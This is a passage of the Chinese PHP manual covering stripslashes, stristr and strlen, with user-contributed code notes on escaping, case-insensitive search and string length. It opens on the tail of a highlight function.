        while( false !== ($p = mb_strpos( $sW, $nW, $o, $e)))
        {
            // oh hurrey, needle found on $p position

            // is founded needle already modified? (in full-length)
            for( $q=$p; $q<($p+$nL); $q++)
                if( $m[ $q])
                {
                    // ai, caramba. already modified, jump over
                    $o+= $nL;

                    // continue for while() loop - not for for() loop!
                    continue 2;
                }

            // explode subject and mask into three parts
            // partA|needle|partB
            $sE[0] = mb_substr( $s, 0, $p, $e);
            $sE[1] = mb_substr( $s, $p, $nL, $e);
            $sE[2] = mb_substr( $s, $p+$nL, $sL-$p-$nL, $e);

            // mask
            // partA|partB (needle not needed)
            $mE[0] = mb_substr( $m, 0, $p, $e);
            $mE[1] = mb_substr( $m, $p+$nL, $sL-$p-$nL, $e);

            // apply shears
            $sE[1] = $rL.$sE[1].$rR;

            // update sunject length
            $sL+= $rLL + $rRL;

            // update mask
            $m = $mE[0] . str_repeat( '1', $rLL + $nL + $rRL) . $mE[1];

            // implode into a subject
            $s = implode( $sE);

            // update lowercase subject
            $sW = mb_strtolower( $s, $e);

            // increase offset
            $o+= $rLL + $nL + $rRL;

            // end of string reached
            if( $o>=$sL)
                break;

        } // while()

    } // for( $n=0; $n<$nC; $n++)

    // oouu yeaaa, kick the subject out of the function
    return $s;

} // function safeHighlight()
/****************************************
*    END: SAFE HIGHLIGHT
****************************************/
?>


反引用一个引用字符串

  • ? stripos
  • stristr ?
  • PHP Manual
  • 字符串 函数
  • 反引用一个引用字符串

stripslashes

(PHP 4, PHP 5, PHP 7)

stripslashes — 反引用一个引用字符串

说明

stripslashes ( string $str ) : string

反引用一个引用字符串。

Note:

如果 magic_quotes_sybase 项开启，反斜线将被去除，但是两个反斜线将会被替换成一个。

一个使用范例是使用 PHP 检测 magic_quotes_gpc 配置项的 开启情况（在 PHP 5.4之 前默认是开启的）并且你不需要将数据插入到一个需要转义的位置（例如数据库）。例如，你只是简单地将表单数据直接输出。

参数

str

输入字符串。

返回值

返回一个去除转义反斜线后的字符串（\' 转换为 ' 等等）。双反斜线（\\）被转换为单个反斜线（\）。

范例

Example #1 stripslashes() 范例

<?php
$str = "Is your name O\'reilly?";

// 输出: Is your name O'reilly?
echo stripslashes($str);
?>

Note:

stripslashes() 是非递归的。如果你想要在多维数组中使用该函数，你需要使用递归函数。

Example #2 对数组使用 stripslashes()

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}

// 范例
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// 输出
print_r($array);
?>

以上例程会输出：

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

参见

  • addslashes() - 使用反斜线引用字符串
  • get_magic_quotes_gpc() - 获取当前 magic_quotes_gpc 的配置选项设置

User Contributed Notes

powerofBBC at gmail dot com 10-Dec-2018 09:21
$regex_pattern = "/<a href=\"(.*)\">(.*)<\/a>/";

if( (strlen($_POST['query']) > 0) && (preg_match_all($regex_pattern, $_POST['query']) )
{ echo "Tags found"; }
Anonymous 11-Oct-2014 09:23
Rather use str_replace than explode/implode for your purpose.
ivijan dot stefan at gmail dot com 04-Mar-2014 03:29
Sometimes for some reason is happens that PHP or Javascript or some naughty insert a lot of  backslash. Ordinary function does not notice that. Therefore, it is necessary that the bit "inflate":

<?php
function removeslashes($string)
{
    $string=implode("",explode("\\",$string));
    return stripslashes(trim($string));
}

/* Example */

$text="My dog don\\\\\\\\\\\\\\\\'t like the postman!";
echo removeslashes($text);
?>

RESULT: My dog don't like the postman!

This flick has served me wery well, because I had this problem before.
Yousef Ismaeil Cliprz 19-Feb-2013 07:41
If you want to use stripslashes(); function for a string or array you can create a user function

as in example:

<?php

if (!function_exists('strip_slashes'))
{
    /**
     * Un-quotes a quoted string.
     *
     * @param (mixed) $str - The input string.
     * @author Yousef Ismaeil Cliprz
     */
    function strip_slashes($str)
    {
        if (is_array($str))
        {
            foreach ($str as $key => $val)
            {
                $str[$key] = strip_slashes($val);
            }
        }
        else
        {
            $str = stripslashes($str);
        }

        return $str;
    }
}

$arr = array('Yousef\\\'s','\"PHP.net\"','user\\\'s');

echo 'With strip_slashes() function:<br />';
print_r(strip_slashes($arr));
echo '<br />';
echo 'Without strip_slashes() function:<br />';
print_r($arr);

/** You will get
With strip_slashes() function:
Array ( [0] => Yousef's [1] => "PHP.net" [2] => user's )
Without strip_slashes() function:
Array ( [0] => Yousef\'s [1] => \"PHP.net\" [2] => user\'s )
*/

?>
StefanoAI 27-Jan-2013 02:31
Recursive stripslashes
<?php
if (get_magic_quotes_gpc()) {

    function stripslashes_array(&$arr) {
        foreach ($arr as $k => &$v) {
            $nk = stripslashes($k);
            if ($nk != $k) {
                $arr[$nk] = &$v;
                unset($arr[$k]);
            }
            if (is_array($v)) {
                stripslashes_array($v);
            } else {
                $arr[$nk] = stripslashes($v);
            }
        }
    }

    stripslashes_array($_POST);
    stripslashes_array($_GET);
    stripslashes_array($_REQUEST);
    stripslashes_array($_COOKIE);
}
?>
todd at toddzebert dot com 26-Jun-2012 07:18
Attempting to use stripslashes on an array in 5.2.17 returns the string "Array", but in 5.3.6 it returns NULL.
tarmo at goyf dot de 06-Mar-2012 02:58
When matching strings with approstrophes against the mysql database, my query kept failing while it worked fine when I copied the same query directly to perform the database query. After several hours I found that stripslashes() made the string longer and hence it wasn't "equal" for the query.

This code shows the behavior (copy into "test.php"). Replacing stripslashes worked for me.

<?php
echo '<h2>Post-Data</h2>';
var_dump($_POST);

$f1 = trim(filter_var(stripslashes($_POST[form]), FILTER_SANITIZE_STRING));
echo '<h2>stripslashes</h2>';
var_dump($f1);

$f2 = trim(str_replace("|","'",filter_var(str_replace("\'","|",$_POST[form]), FILTER_SANITIZE_STRING)));
echo '<h2>workaround</h2>';
var_dump($f2);

echo '<form action="test.php" method="post">
    <input type="text" name="form">
    <input type="submit">
    </form>';
?>

Entering "foo'bar" creates this output:
// Post-Data
// array(1) { ["form"]=> string(8) "foo\'bar" }
// stripslashes
// string(11) "foo'bar"
// workaround
// string(7) "foo'bar"
jeremysawesome 10-Dec-2010 12:39
I'm using this to clean the $_POST array:
<?php
array_walk_recursive($_POST, create_function('&$val', '$val = stripslashes($val);'));
?>
jeremycook0 at googlemail dot com 01-Aug-2010 08:04
Here's a way of stripping slashes in PHP 5.3 using a recursive closure:

<?php
  if (get_magic_quotes_gpc()) {
      $strip_slashes_deep = function ($value) use (&$strip_slashes_deep) {
          return is_array($value) ? array_map($strip_slashes_deep, $value) : stripslashes($value);
      };
      $_GET = array_map($strip_slashes_deep, $_GET);
      $_POST = array_map($strip_slashes_deep, $_POST);
      $_COOKIE = array_map($strip_slashes_deep, $_COOKIE);
  }
?>

Note that the variable '$strip_slashes_deep' has to be passed to the closure by reference. I think that this is because at the time the closure is created the variable '$strip_slashes_deep' doesn't exist: the closure itself becomes the value of the variable. Passing by reference solves this issue. This closure could easily be adapted to use other methods of stripping slashes such as preg_replace().
eugene at ultimatecms dot co dot za 23-Nov-2009 05:03
This is a simple function to remove the slashes added by functions such as magic_quotes_gpc and mysql_escape_string etc.

<?php

function no_magic_quotes($query) {
        $data = explode("\\",$query);
        $cleaned = implode("",$data);
        return $cleaned;
}

// I'm using mysql_escape_string as a simple example, but this function would work for any escaped string.
$query = "It's amaizing! Who's to say this isn't a simple function?";
$badstring = mysql_escape_string($query);

echo '<b>Without funtion:</b> '.$badstring;
echo '<br><br>';
echo '<b>With function:</b> '.no_magic_quotes($badstring);

?>

Output:
Without funtion: It\'s amaizing! Who\'s to say this isn\'t a simple function?

With function: It's amaizing! Who's to say this isn't a simple function?
michal at roszka dot pl 31-Aug-2009 08:00
The goal is to leave the input untouched in PHP 5.2.8. Let's have this sample text given in $_POST['example']:

a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Let's have two simple scripts:

Script A:
<?php echo $_POST['example']; ?>

Script B:
<?php echo stripslashes($_POST['example']); ?>

Let's have four different configurations and corresponding output:

Case #1:

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = Off

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #2

 * magic_quotes_gpc = On
 * magic_quotes_sybase = Off

A: a backslash ( \\ ), a single-quote ( \' ), a double-quote ( \" ) and a null character ( \\0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Case #3

 * magic_quotes_gpc = On
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( '' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #4

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Conclusions:

1) we do not need to do anything, if the magic_quotes_gpc is disabled (cases 1 and 4);
2) stripslashes($_POST['example']) only works, if the magic_quotes_gpc is enabled, but the magic_quotes_sybase is disabled (case 2);
3) str_replace("''", "'", $_POST['example']) will do the trick if both the magic_quotes_gpc and the magic_quotes_sybase are enabled (case 3);

<?php
function disable_magic_quotes_gpc()
{
    if (TRUE == function_exists('get_magic_quotes_gpc') && 1 == get_magic_quotes_gpc())
    {
        $mqs = strtolower(ini_get('magic_quotes_sybase'));

        if (TRUE == empty($mqs) || 'off' == $mqs)
        {
            // we need to do stripslashes on $_GET, $_POST and $_COOKIE
        }
        else
        {
            // we need to do str_replace("''", "'", ...) on $_GET, $_POST, $_COOKIE
        }
    }
    // otherwise we do not need to do anything
}
?>

Important notes:

1) arrays need to be processed recursively;

2) both stripslashes and str_replace functions always return strings, so:

* TRUE will become a string "1",
* FALSE will become an empty string,
* integers and floats will become strings,
* NULL will become an empty string.

On the other hand you only need to process strings, so use the is_string function to check;

3) when dealing with other (than GPC) data sources, such as databases or text files, remember to play with the magic_quotes_runtime setting as well, see, what happens and write a corresponding function, i.e. disable_magic_quotes_runtime() or something.

4) VERY IMPORTANT: when testing, remember the null character. Otherwise your tests will be inconclusive and you may end up with... well, serious bugs :)
JacobRas.nl 28-Jul-2009 05:41
Hi,

Here's an function that strips not only \', but also \\' and \\\' and so on (depending on $times). $text = the text that needs to be stripped, $times = how much backslashes should be stripped.

<?php

function stripslashes_deep ($text, $times) {

    $i = 0;

    // loop will execute $times times.
    while (strstr($text, '\\') && $i != $times) {

        $text= stripslashes($text);
        $i++;

    }

    return $text;

}

?>

Example: $text = \\'quote\\' . <?php stripslashes_deep($text, 2); ?> will return 'quote'.
Note: <?php stripslashes_deep($text, 3); ?> will also return 'quote'.
shredder at technodrome dot com 09-May-2009 03:50
Hi,

Here are recursive addslashes / stripslashes functions.
given a string - it will simply add / strip slashes
given an array - it will recursively add / strip slashes from the array and all of it subarrays.
if the value is not a string or array - it will remain unmodified!

<?php

function add_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return addslashes( $variable ) ;

    elseif ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = add_slashes_recursive( $value ) ;

    return $variable ;
}

function strip_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return stripslashes( $variable ) ;
    if ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = strip_slashes_recursive( $value ) ;

    return $variable ;
}

?>
dragon[dot]dionysius[at]gmail[dot]com 24-Mar-2009 08:07
I use this function in my class to stripslashes arrays including NULL-check:

<?php
    private function stripslashes_deep($value) {
        if(is_array($value)) {
            foreach($value as $k => $v) {
                $return[$k] = $this->stripslashes_deep($v);
            }
        } elseif(isset($value)) {
            $return = stripslashes($value);
        }
        return $return;
    }
?>
Tom Worster 23-Mar-2009 07:26
A replacement that should be safe on utf-8 strings.
<?php
  preg_replace(array('/\x5C(?!\x5C)/u', '/\x5C\x5C/u'), array('','\\'), $s);
?>
o-zone at zerozone dot it 19-Mar-2009 03:53
If you need to remove all slashes from a string, here's a quick hack:

<?php
function stripallslashes($string) {
    while(strchr($string,'\\')) {
        $string = stripslashes($string);
    }
}
?>

Hope it's usefull , O-Zone
techdesk100 28-Apr-2008 07:58
Function which checks if $input has correct slashes,
otherwise adds slashes. For cases when you are not sure the input is not already addslashed.

    public function addslashes_once($input){
        //These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
        $pattern = array("\\'", "\\\"", "\\\\", "\\0");
        $replace = array("", "", "", "");
        if(preg_match("/[\\\\'\"\\0]/", str_replace($pattern, $replace, $input))){
            return addslashes($input);
        }
        else{
            return $input;
        }
    }
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 10:03
Here is simple example code which you can use as a common function in your functions file:

<?php
function stripslashes_if_gpc_magic_quotes( $string ) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($string);
    } else {
        return $string;
    }
}
?>
Evgeny 26-Feb-2008 07:52
extended version of stripslashes_deep. This allow to strip one also in the array_keys

    function stripslashes_deep($value) {
        if (is_array($value)) {
            if (count($value)>0) {
                $return = array_combine(array_map('stripslashes_deep', array_keys($value)),array_map('stripslashes_deep', array_values($value)));
            } else {
                $return = array_map('stripslashes_deep', $value);
            }
            return $return;
        } else {
            $return = stripslashes($value);
            return $return ;
        }
    }
alex dot launi at gmail dot com 21-Dec-2007 07:16
kibby: I modified the stripslashes_deep() function so that I could use it on NULL values.

function stripslashes_deep($value)
{
    if(isset($value)) {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
            stripslashes($value);
    }
    return $value;
}
lukas.skowronski at gmail dot com 20-Jun-2007 04:15
If You want to delete all slashes from any table try to use my function:

function no_slashes($array)
    {
        foreach($array as $key=>$value)
            {
                if(is_array($value))
                    {
                        $value=no_slashes($value);
                        $array_temp[$key]=$value;
                    }
                else
                    {
                        $array_temp[$key]=stripslashes($value);
                    }
            }
        return $array_temp;
    }
dragonfly at networkinsight dot net 11-Mar-2007 03:22
If you are having trouble with stripslashes() corrupting binary data, try using urlencode() and urldecode() instead.
JAB Creations 05-Mar-2007 08:49
When writing to a flatfile such as an HTML page you'll notice slashes being inserted. When you write to that page it's interesting how to apply stripslashes...

I replaced this line...
<?php fwrite($file, $_POST['textarea']); ?>

With...
<?php if (get_magic_quotes_gpc()) {fwrite ($file, stripslashes($_POST['textarea']));}?>

You have to directly apply stripslashes to $_POST, $_GET, $_REQUEST, and $_COOKIE.
gregory at nutt dot ca 22-Feb-2007 06:48
Here is code I use to clean the results from a MySQL query using the stripslashes function.

I do it by passing the sql result and the sql columns to the function strip_slashes_mysql_results.  This way, my data is already clean by the time I want to use it.

    function db_query($querystring, $array, $columns)
    {
      if (!$this->connect_to_mysql())
       return 0;

     $queryresult = mysql_query($querystring, $this->link)
        or die("Invalid query: " . mysql_error());

      if(mysql_num_rows($queryresult))
      {
          $columns = mysql_field_names ($queryresult);

          if($array)
          {
              while($row = mysql_fetch_row($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
          else
          {
              while($row = mysql_fetch_object($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
      }
      else
        return 0;
    }

    function strip_slashes_mysql_results($result, $columns)
    {
        foreach($columns as $column)
        {
              if($this->debug)
                  printp(sprintf("strip_slashes_mysql_results: %s",strip_slashes_mysql_results));
              $result->$column = stripslashes($result->$column);
        }
        return $result;
    }
stoic 02-Jan-2007 08:31
in response to crab dot crab at gmail dot com:

$value need not be passed by reference. The 'stripped' value is returned. The passed value is not altered.
Kibby 14-May-2006 01:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com 21-Feb-2006 02:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alf at mitose dot net 25-Oct-2005 05:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
10-Feb-2005 07:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
    $string = str_replace("\\\"", "\"", $string);
    $string = str_replace("\\'", "'", $string);
    $string = str_replace("\\\\", "\\", $string);
    return $string;
}
?>
mattyblah at gmail dot com 10-Sep-2004 08:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm 30-Nov-2003 09:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!


strstr 函数的忽略大小写版本

  • ? stripslashes
  • strlen ?
  • PHP Manual
  • 字符串 函数
  • strstr 函数的忽略大小写版本

stristr

(PHP 4, PHP 5, PHP 7)

stristr — strstr() 函数的忽略大小写版本

说明

stristr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] ) : string

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

参数

haystack

在该字符串中查找。

needle

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符顺序值。

before_needle

若为 TRUE，strstr() 将返回 needle 在 haystack 中的位置之前的部分(不包括 needle)。

参数 needle 和 haystack 将以不区分大小写的方式对待。

返回值

返回匹配的子字符串。如果 needle 未找到，返回 FALSE。

更新日志

版本 | 说明
5.3.0 | 新增可选的 before_needle 参数。
4.3.0 | stristr() 变为二进制安全的。

范例

Example #1 stristr() 范例

<?php
  $email = 'USER@EXAMPLE.com';
  echo stristr($email, 'e'); // 输出 ER@EXAMPLE.com
  echo stristr($email, 'e', true); // 自 PHP 5.3.0 起，输出 US
?>

Example #2 测试字符串的存在与否

<?php
  $string = 'Hello World!';
  if(stristr($string, 'earth') === FALSE) {
    echo '"earth" not found in string';
  }
// 输出: "earth" not found in string
?>

Example #3 使用非字符串 needle

<?php
  $string = 'APPLE';
  echo stristr($string, 97); // 97 = 小写字母 a
// 输出: APPLE
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strstr() - 查找字符串的首次出现
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

jukka 23-May-2014 10:33
I think there is a bug in php 5.3 in stristr with uppercase ? containing other character

http://pastebin.com/5bP6uztY

if you search only with t?ry it works, but as soon as the word is t?ryl?  it does not. T?RYL works fine
greg at no_ggmac_reply dot com 13-Jan-2011 01:20
Beware the example given here:

if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

stristr does not search for words, it finds matching substrings.  So, for example, the check for 'cialis' will trigger on 'specialist'
tomas dot nesrovnal at yourspirit dot cz 18-Dec-2008 12:36
Active item item in menu:

<?php
function aim($page) {
    if(stristr($_SERVER['REQUEST_URI'], $page)) {
        return ' class="active"';
    }
}
?>

usage:

<style type="text/css">
.active {color: red;}
</style>

<?php
print '<a href="http://example.com/page/hello-world/"'. aim('hello-world') .'>HW</a>';
?>
giz at gbdesign dot net 06-Oct-2007 05:02
Just been caught out by stristr trying to converting the needle from an Int to an ASCII value.

Got round this by casting the value to a string.

<?php
if( !stristr( $file, (string) $myCustomer->getCustomerID()  ) ) {
  // Permission denied
}
?>
art at awilton dot dotcom 07-Nov-2005 09:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

    while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

      echo "Array index is ".$index." and value is ".$value."\r\n";
      echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
notepad at codewalkers dot com 05-Jun-2005 01:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
Techdeck at Techdeck dot org 12-Nov-2002 12:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org 02-Oct-2002 09:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver


获取字符串长度

  • ? stristr
  • strnatcasecmp ?
  • PHP Manual
  • 字符串 函数
  • 获取字符串长度

strlen

(PHP 4, PHP 5, PHP 7)

strlen — 获取字符串长度

说明

strlen ( string $string ) : int

返回给定的字符串 string 的长度。

参数

string

需要计算长度的字符串。

返回值

成功则返回字符串 string 的长度；如果 string 为空，则返回 0。

更新日志

版本 | 说明
5.3.0 | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.

范例

Example #1 strlen() 范例

<?php
$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7
?>

注释

Note:

strlen() returns the number of bytes rather than the number of characters in a string.

Note:

strlen() returns NULL when executed on arrays, and an E_WARNING level error is emitted.

参见

  • count() - 计算数组中的单元数目，或对象中的属性个数
  • mb_strlen() - 获取字符串的长度

User Contributed Notes

wildebill66 at yahoo dot com 16-May-2019 08:42
user johan at hultin dot se: if you consider the zeros to be padding, then there are 19 sets of three. thus, 19.
Anonymous 06-Jun-2018 01:49
I use the string test for an inline error message. Hope others find it helpful.

    <span class="error" style="
      <?php if((isset($_POST['membershipID']) && strlen($_POST['membershipID']) < 5 ))
      {
        echo "display: inline-block;";
      } ?>">membership ID must be at least 5 digits</span>
alireza moazami 24-Feb-2018 07:24
if your text contain UTF8 character (arabic character for example), the mb_substr can use instead of strlen.
but if the string contain UTF16 (wmoji, smily) then you can use this method to get correct length:

<?php echo strlen(iconv('utf-8', 'utf-16le', '?????ali'))/2;

because some emoji (ex: ??) is 2, 3 or 4 byte!
John 12-Feb-2017 04:08
There's a LOT of misinformation here, which I want to correct! Many people have warned against using strlen(), because it is "super slow". Well, that was probably true in old versions of PHP. But as of PHP7 that's definitely no longer true. It's now SUPER fast!

I created a 20,00,000 byte string (~20 megabytes), and iterated ONE HUNDRED MILLION TIMES in a loop. Every loop iteration did a new strlen() on that very, very long string.

The result: 100 million strlen() calls on a 20 megabyte string only took a total of 488 milliseconds. And the strlen() calls didn't get slower/faster even if I made the string smaller or bigger. The strlen() was pretty much a constant-time, super-fast operation

So either PHP7 stores the length of every string as a field that it can simply always look up without having to count characters. Or it caches the result of strlen() until the string contents actually change. Either way, you should now never, EVER worry about strlen() performance again. As of PHP7, it is super fast!

Here is the complete benchmark code if you want to reproduce it on your machine:

<?php

$iterations = 100000000; // 100 million
$str = str_repeat( '0', 20000000 );

// benchmark loop and variable assignment to calculate loop overhead
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = 0;
}
$end = microtime(true);
$loop_elapsed = 1000 * ($end - $start);

// benchmark strlen in a loop
$len = 0;
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = strlen( $str );
}
$end = microtime(true);
$strlen_elapsed = 1000 * ($end - $start);

// subtract loop overhead from strlen() speed calculation
$strlen_elapsed -= $loop_elapsed;

echo "\nstring length: {$len}\ntest took: {$strlen_elapsed} milliseconds\n";

?>
Pelle_Gris 12-Jan-2017 07:42
A strong advice: Never-Ever use "strlen" in intensive loop iterations (or similar), like this..

for  ($i = 0;  $i < strlen($crc); $i++) .....

It is notorious slow...

This construct will use cpu each time to get the string length at each loop. Instead save the length in a variable and use that in the "for" loop. Note that You must not change the string length inside the loop then..).
joeri at sebrechts dot net 26-Jul-2016 08:26
When checking for length to make sure a value will fit in a database field, be mindful of using the right function.

There are three possible situations:

1. Most likely case: the database column is UTF-8 with a length defined in unicode code points (e.g. mysql varchar(200) for a utf-8 database).

<?php
// ok if php.ini default_charset set to UTF-8 (= default value)
mb_strlen($value);
iconv_strlen($value);
// always ok
mb_strlen($value, "UTF-8");
iconv_strlen($value, "UTF-8");

// BAD, do not use:
strlen(utf8_decode($value)); // breaks for some multi-byte characters
grapheme_strlen($value); // counts graphemes, not code points
?>

2. The database column has a length defined in bytes (e.g. oracle's VARCHAR2(200 BYTE))

<?php
// ok, but assumes mbstring.func_overload is 0 in php.ini (= default value)
strlen($value);
// ok, forces count in bytes
mb_strlen($value, "8bit")
?>

3. The database column is in another character set (UTF-16, ISO-8859-1, etc...) with a length defined in characters / code points.

Find the character set used, and pass it explicitly to the length function.

<?php
// ok, supported charsets: http://php.net/manual/en/mbstring.supported-encodings.php
mb_strlen($value, $charset);
// ok, supported charsets: https://www.gnu.org/software/libiconv/
iconv_strlen($value, $charset);
?>
johan at hultin dot se 23-Mar-2016 12:55
I've found this quite peculiar error (I think it might be truncating something, but not sure why and where that occurs)

The string is the amount of unique shuffles of a deck of cards, and in it's raw form it's this 80658175170943878571660636856403766975289505440883277824000000000000

if you however use strlen() to count this, it will return 19, which clearly the string is longer than
rm dot nasir at hotmail dot com 14-Dec-2015 09:08
I want to share something seriously important for newbies or beginners of PHP who plays with strings of UTF8 encoded characters or the languages like: Arabic, Persian, Pashto, Dari, Chinese (simplified), Chinese (traditional), Japanese, Vietnamese, Urdu, Macedonian, Lithuanian, and etc.
As the manual says: "strlen() returns the number of bytes rather than the number of characters in a string.", so if you want to get the number of characters in a string of UTF8 so use mb_strlen() instead of strlen().

Example:

<?php
// the Arabic (Hello) string below is: 59 bytes and 32 characters
$utf8 = "?????? ????? ????? ???? ???????!";

var_export( strlen($utf8) ); // 59
echo "<br>";
var_export( mb_strlen($utf8, 'utf8') ); // 32
?>
vaqasuddin 10-Jun-2014 11:04
function limit_text( $text, $limit = 100000000000 ) {
        if ( strlen ( $text ) < $limit ) {
            return $text;
        }
        $split_words = explode(' ', $text );
        $out = null;
        foreach ( $split_words as $word ) {
            if ( ( strlen( $word ) > $limit ) && $out == null ) {
                return substr( $word, 0, $limit )."...";
            }

            if (( strlen( $out ) + strlen( $word ) ) > $limit) {
                return $out . "...";
            }
            $out.=" " . $word;
        }
        return $out;
    }

echo limit_text("hello world lorem ipsum",10);
jasonrohrer at fastmail dot fm 13-Jun-2013 10:48
PHP's strlen function behaves differently than the C strlen function in terms of its handling of null bytes ('\0').

In PHP, a null byte in a string does NOT count as the end of the string, and any null bytes are included in the length of the string.

For example, in PHP:

strlen( "te\0st" ) = 5

In C, the same call would return 2.

Thus, PHP's strlen function can be used to find the number of bytes in a binary string (for example, binary data returned by base64_decode).
vcardillo at gmail dot com 14-Aug-2012 03:59
I would like to demonstrate that you need more than just this function in order to truly test for an empty string. The reason being that <?php strlen(null); ?> will return 0. So how do you know if the value was null, or truly an empty string?

<?php
$foo = null;
$len = strlen(null);
$bar = '';

echo "Length: " . strlen($foo) . "<br>";
echo "Length: $len <br>";
echo "Length: " . strlen(null) . "<br>";

if (strlen($foo) === 0) echo 'Null length is Zero <br>';
if ($len === 0) echo 'Null length is still Zero <br>';

if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';

if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';
?>

// Begin Output:
Length: 0
Length: 0
Length: 0

Null length is Zero
Null length is still Zero

!is_null(): $foo is probably null
isset(): $foo is probably null

!is_null(): $bar is truly an empty string
isset(): $bar is truly an empty string
// End Output

So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null.
tux at tax dot tox 05-Aug-2012 06:54
